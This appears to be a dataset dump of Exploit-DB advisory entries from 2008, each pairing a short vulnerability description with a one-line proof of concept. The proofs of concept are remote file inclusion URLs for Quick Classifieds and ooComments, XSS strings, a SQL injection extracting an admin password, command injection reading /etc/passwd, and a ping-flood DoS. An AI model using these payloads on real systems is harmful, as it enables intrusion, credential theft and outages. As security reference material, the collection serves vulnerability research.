QLWD/code_shield huggingface dataset:
标题: Quick Classifieds 1.0 - 'controlpannel/createM.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31502 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                       
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                       
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createM.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31502
标题: Quick Classifieds 1.0 - 'controlpannel/createdb.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31498 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                   
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                   
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createdb.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31498
标题: Quick Classifieds 1.0 - 'controlpannel/createHomepage.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31500 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                     
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                     
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createHomepage.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31500
标题: Quick Classifieds 1.0 - 'controlpannel/setUp.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31509 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                              
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                              
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                              
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/setUp.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31509
标题: Quick Classifieds 1.0 - 'controlpannel/createS.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31505 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                          
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                          
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createS.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31505
标题: Quick Classifieds 1.0 - 'controlpannel/color_help.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31497 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                  
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                  
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/color_help.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31497
标题: Quick Classifieds 1.0 - 'controlpannel/createL.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31501 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                      
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                      
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/createL.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31501
标题: Quick Classifieds 1.0 - 'controlpannel/alterTheme.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31496 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                 
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                 
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/alterTheme.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31496
标题: Quick Classifieds 1.0 - 'controlcenter/userSet.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31490 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
           
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
           
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/userSet.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31490
标题: Quick Classifieds 1.0 - '/controlpannel/alterNews.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31495 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
                
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
                
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
                
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/alterNews.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31495
标题: Quick Classifieds 1.0 - 'controlcenter/verify.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31491 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
            
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
            
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/verify.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31491
标题: Quick Classifieds 1.0 - 'controlcenter/sign-up.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31488 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
         
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/sign-up.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31488
标题: Quick Classifieds 1.0 - 'controlpannel/alterHomepage.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31494 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
               
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
               
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/alterHomepage.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31494
标题: Quick Classifieds 1.0 - 'controlpannel/alterCats.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31492 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
             
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
             
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/alterCats.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31492
标题: Quick Classifieds 1.0 - 'Classifieds/index.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31482 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
   
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/classifieds/index.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31482
标题: Quick Classifieds 1.0 - 'controlcenter/update.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31489 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
          
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
          
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/update.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31489
标题: Quick Classifieds 1.0 - 'controlcenter/index.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31484 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
     
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/index.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31484
标题: Quick Classifieds 1.0 - 'controlpannel/alterFeatured.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31493 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
              
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
              
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlpannel/alterFeatured.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31493
标题: Quick Classifieds 1.0 - 'Classifieds/view.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31483 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
    
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/classifieds/view.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31483
标题: Quick Classifieds 1.0 - 'controlcenter/pass.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31486 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
       
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/pass.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31486
标题: Quick Classifieds 1.0 - 'controlcenter/manager.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31485 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
      
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/manager.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31485
标题: Quick Classifieds 1.0 - 'controlcenter/remember.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31487 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
        
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/controlcenter/remember.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31487
标题: Quick Classifieds 1.0 - 'locate.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31480 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
 
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/locate.php3?DOCUMENT_ROOT=ZoRLu.txt?, URL: https://www.exploit-db.com/exploits/31480
标题: Quick Classifieds 1.0 - 'index.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31479 CVE: 2008-6543 类型: REMOTE 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info

Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/index.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31479
标题: Quick Classifieds 1.0 - 'search_results.php3?DOCUMENT_ROOT' Remote File Inclusion EDB-ID: 31481 CVE: 2008-6543 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28417/info
  
Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/search_results.php3?DOCUMENT_ROOT=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31481
标题: Linksys SPA-2102 Phone Adapter Packet Handling - Denial of Service EDB-ID: 31478 CVE: 2008-2092 类型: DOS 平台: HARDWARE 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28414/info

Linksys SPA-2102 Phone Adapter is prone to a denial-of-service vulnerability when handling multiple packets in quick succession.

Attackers can exploit this issue to deny access to the device's control center for legitimate users. Reports indicate that this issue is exploitable only via computers on the same LAN as the device.

Linksys SPA-2102 Phone Adapter running firmware 3.3.6 is vulnerable; other versions may also be affected.

ping -l 65500 192.168.0.1 URL: https://www.exploit-db.com/exploits/31478
标题: ooComments 1.0 - '/classes/class_comments.php?PathToComment' Remote File Inclusion EDB-ID: 31470 CVE: 2008-1511 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/28401/info
 
ooComments is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
ooComments 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/classes/class_comments.php?PathToComment=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31470
标题: cPanel 11.18.3/11.21 - 'manpage.html' Cross-Site Scripting EDB-ID: 31472 CVE: 2008-1499 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/28403/info

cPanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/frontend/x/manpage.html?<xss> URL: https://www.exploit-db.com/exploits/31472
标题: phpMyChat 0.14.5 - 'setup.php3' Cross-Site Scripting EDB-ID: 31467 CVE: 2008-1504 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/28399/info

phpMyChat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpMyChat 0.14.5 is vulnerable; other versions may also be affected. 

http://www.example.com/chat/setup.php3?Lang="<xss> URL: https://www.exploit-db.com/exploits/31467
标题: ooComments 1.0 - '/classes/class_admin.php?PathToComment' Remote File Inclusion EDB-ID: 31469 CVE: 2008-1511 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/28401/info

ooComments is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ooComments 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/classes/class_admin.php?PathToComment=ZoRLu.txt? URL: https://www.exploit-db.com/exploits/31469
标题: Efestech E-Kontor - 'id' SQL Injection EDB-ID: 31476 CVE: 2008-1508 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/28412/info

Efestech E-Kontor is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/?id=-1%20union+select+0,sifre,2,3+from+admin+where+id=1
http://www.example.com/?id=-1%20union+select+0,firma,2,3+from+admin+where+id=1 URL: https://www.exploit-db.com/exploits/31476
标题: TinyPortal 0.8.6/1.0.3 - 'index.php' Cross-Site Scripting EDB-ID: 31471 CVE: 2008-1500 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/28402/info

TinyPortal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?PHPSESSID="><xss> URL: https://www.exploit-db.com/exploits/31471
标题: Webutil 2.3/2.7 - 'webutil.pl' Multiple Remote Command Execution Vulnerabilities EDB-ID: 31466 CVE: 2008-6555 类型: WEBAPPS 平台: CGI 发布日期: 2008-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/28393/info

Webutil is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands. These issues occur because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

These issues affect Webutil 2.3 and 2.7. 

http://www.example.com/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?dig&|cat$IFS/etc/passwd
http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd URL: https://www.exploit-db.com/exploits/31466